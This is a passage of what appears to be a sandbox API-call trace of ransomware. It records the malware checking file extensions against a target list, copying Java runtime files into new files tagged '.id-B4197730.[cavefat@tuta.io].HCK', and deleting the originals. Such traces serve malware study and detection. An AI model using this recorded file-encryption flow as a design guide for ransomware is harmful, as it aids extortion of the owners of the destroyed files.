lpString2=".jar") returned -1 [0228.776] lstrlenW (lpString=".docx") returned 5 [0228.776] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0228.776] lstrlenW (lpString=".pdf") returned 4 [0228.776] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString=".xls") returned 4 [0228.777] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString=".xlsx") returned 5 [0228.777] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0228.777] lstrlenW (lpString=".ppt") returned 4 [0228.777] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.777] lstrlenW (lpString=".zip") returned 4 [0228.777] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString=".rar") returned 4 [0228.777] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString=".bz2") returned 4 [0228.777] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.777] lstrlenW (lpString=".7z") returned 3 [0228.777] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.777] lstrlenW (lpString=".dbf") returned 4 [0228.777] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.777] lstrlenW (lpString=".1cd") returned 4 [0228.777] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.777] lstrlenW (lpString=".jpg") returned 4 [0228.777] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.777] lstrlenW (lpString=".doc") returned 4 [0228.777] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.777] lstrlenW (lpString=".docx") returned 5 [0228.777] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0228.777] lstrlenW (lpString=".pdf") returned 4 [0228.777] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString=".xls") returned 4 [0228.777] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString=".xlsx") returned 5 [0228.777] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0228.777] lstrlenW (lpString=".ppt") returned 4 [0228.777] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.777] lstrlenW (lpString=".zip") returned 4 [0228.777] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString=".rar") returned 4 [0228.777] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.777] lstrlenW (lpString=".bz2") returned 4 [0228.777] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.777] lstrlenW (lpString=".7z") returned 3 [0228.777] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.777] lstrlenW (lpString=".dbf") returned 4 [0228.777] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.778] lstrlenW (lpString=".1cd") returned 4 [0228.778] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0228.778] lstrlenW (lpString=".jpg") returned 4 [0228.778] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.778] lstrcmpiW (lpString1=".ja", lpString2=".HCK") returned 1 [0228.778] lstrlenW (lpString="psfont.properties.ja") returned 20 [0228.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.779] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2796) returned 1 [0228.779] CloseHandle (hObject=0x4bc) returned 1 [0228.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0228.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.779] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.780] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.780] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.780] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.780] GetLastError () returned 0x0 [0228.780] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xaec, lpOverlapped=0x0) returned 1 [0228.782] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0228.783] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.783] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfc, lpOverlapped=0x0) returned 1 [0228.783] SetEndOfFile (hFile=0x454) returned 1 [0228.784] CloseHandle (hObject=0x454) returned 1 [0228.784] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.784] SetEndOfFile (hFile=0x4bc) returned 1 [0228.786] CloseHandle (hObject=0x4bc) returned 1 [0228.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.786] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0228.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.787] lstrlenW (lpString=".doc") returned 4 [0228.787] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0228.787] lstrlenW (lpString=".docx") returned 5 [0228.787] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0228.787] lstrlenW (lpString=".pdf") returned 4 [0228.787] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0228.787] lstrlenW (lpString=".xls") returned 4 [0228.787] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0228.787] lstrlenW (lpString=".xlsx") returned 5 [0228.787] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0228.787] lstrlenW (lpString=".ppt") returned 4 [0228.787] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0228.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.787] lstrlenW (lpString=".zip") returned 4 [0228.787] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0228.787] lstrlenW (lpString=".rar") returned 4 [0228.787] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0228.787] lstrlenW (lpString=".bz2") returned 4 [0228.787] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0228.787] lstrlenW (lpString=".7z") returned 3 [0228.787] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0228.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.787] lstrlenW (lpString=".dbf") returned 4 [0228.787] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.788] lstrlenW (lpString=".1cd") returned 4 [0228.788] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.788] lstrlenW (lpString=".jpg") returned 4 [0228.788] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.788] lstrlenW (lpString=".doc") returned 4 [0228.788] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString=".docx") returned 5 [0228.788] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0228.788] lstrlenW (lpString=".pdf") returned 4 [0228.788] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString=".xls") returned 4 [0228.788] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString=".xlsx") returned 5 [0228.788] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0228.788] lstrlenW (lpString=".ppt") returned 4 [0228.788] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.788] lstrlenW (lpString=".zip") returned 4 [0228.788] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString=".rar") returned 4 [0228.788] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString=".bz2") returned 4 [0228.788] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString=".7z") returned 3 [0228.788] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0228.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.788] lstrlenW (lpString=".dbf") returned 4 [0228.788] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.788] lstrlenW (lpString=".1cd") returned 4 [0228.788] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0228.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0228.788] lstrlenW (lpString=".jpg") returned 4 [0228.788] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0228.788] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0228.788] lstrlenW (lpString="psfontj2d.properties") returned 20 [0228.788] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.789] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10393) returned 1 [0228.789] CloseHandle (hObject=0x4bc) returned 1 [0228.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0228.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.790] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.790] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.790] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.791] GetLastError () returned 0x0 [0228.791] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2899, lpOverlapped=0x0) returned 1 [0228.792] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x28a0, lpOverlapped=0x0) returned 1 [0228.793] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.793] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfc, lpOverlapped=0x0) returned 1 [0228.793] SetEndOfFile (hFile=0x454) returned 1 [0228.793] CloseHandle (hObject=0x454) returned 1 [0228.794] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.794] SetEndOfFile (hFile=0x4bc) returned 1 [0228.795] CloseHandle (hObject=0x4bc) returned 1 [0228.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.796] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0228.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.796] lstrlenW (lpString=".doc") returned 4 [0228.796] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".docx") returned 5 [0228.797] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0228.797] lstrlenW (lpString=".pdf") returned 4 [0228.797] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".xls") returned 4 [0228.797] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".xlsx") returned 5 [0228.797] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0228.797] lstrlenW (lpString=".ppt") returned 4 [0228.797] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.797] lstrlenW (lpString=".zip") returned 4 [0228.797] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".rar") returned 4 [0228.797] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".bz2") returned 4 [0228.797] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".7z") returned 3 [0228.797] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0228.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.797] lstrlenW (lpString=".dbf") returned 4 [0228.797] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.797] lstrlenW (lpString=".1cd") returned 4 [0228.797] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.797] lstrlenW (lpString=".jpg") returned 4 [0228.797] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.797] lstrlenW (lpString=".doc") returned 4 [0228.797] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".docx") returned 5 [0228.797] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0228.797] lstrlenW (lpString=".pdf") returned 4 [0228.797] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".xls") returned 4 [0228.797] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".xlsx") returned 5 [0228.797] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0228.797] lstrlenW (lpString=".ppt") returned 4 [0228.797] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.797] lstrlenW (lpString=".zip") returned 4 [0228.797] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".rar") returned 4 [0228.797] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".bz2") returned 4 [0228.797] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0228.797] lstrlenW (lpString=".7z") returned 3 [0228.797] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0228.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.797] lstrlenW (lpString=".dbf") returned 4 [0228.798] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0228.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.798] lstrlenW (lpString=".1cd") returned 4 [0228.798] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0228.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0228.798] lstrlenW (lpString=".jpg") returned 4 [0228.798] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0228.798] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0228.798] lstrlenW (lpString="resources.jar") returned 13 [0228.798] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.798] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3492573) returned 1 [0228.798] CloseHandle (hObject=0x4bc) returned 1 [0228.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0228.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0228.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.799] lstrlenW (lpString=".doc") returned 4 [0228.799] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.799] lstrlenW (lpString=".docx") returned 5 [0228.799] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0228.799] lstrlenW (lpString=".pdf") returned 4 [0228.799] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.799] lstrlenW (lpString=".xls") returned 4 [0228.799] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.799] lstrlenW (lpString=".xlsx") returned 5 [0228.799] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0228.799] lstrlenW (lpString=".ppt") returned 4 [0228.799] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.799] lstrlenW (lpString=".zip") returned 4 [0228.799] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.799] lstrlenW (lpString=".rar") returned 4 [0228.799] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.799] lstrlenW (lpString=".bz2") returned 4 [0228.799] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.799] lstrlenW (lpString=".7z") returned 3 [0228.799] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.799] lstrlenW (lpString=".dbf") returned 4 [0228.799] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.799] lstrlenW (lpString=".1cd") returned 4 [0228.799] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.799] lstrlenW (lpString=".jpg") returned 4 [0228.799] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.800] lstrlenW (lpString=".doc") returned 4 [0228.800] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.800] lstrlenW (lpString=".docx") returned 5 [0228.800] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0228.800] lstrlenW (lpString=".pdf") returned 4 [0228.800] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.800] lstrlenW (lpString=".xls") returned 4 [0228.800] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.800] lstrlenW (lpString=".xlsx") returned 5 [0228.800] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0228.800] lstrlenW (lpString=".ppt") returned 4 [0228.800] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.800] lstrlenW (lpString=".zip") returned 4 [0228.800] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.800] lstrlenW (lpString=".rar") returned 4 [0228.800] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.800] lstrlenW (lpString=".bz2") returned 4 [0228.800] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.800] lstrlenW (lpString=".7z") returned 3 [0228.800] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.800] lstrlenW (lpString=".dbf") returned 4 [0228.800] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.800] lstrlenW (lpString=".1cd") returned 4 [0228.800] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0228.800] lstrlenW (lpString=".jpg") returned 4 [0228.800] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.800] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0228.800] lstrlenW (lpString="rt.jar") returned 6 [0228.800] 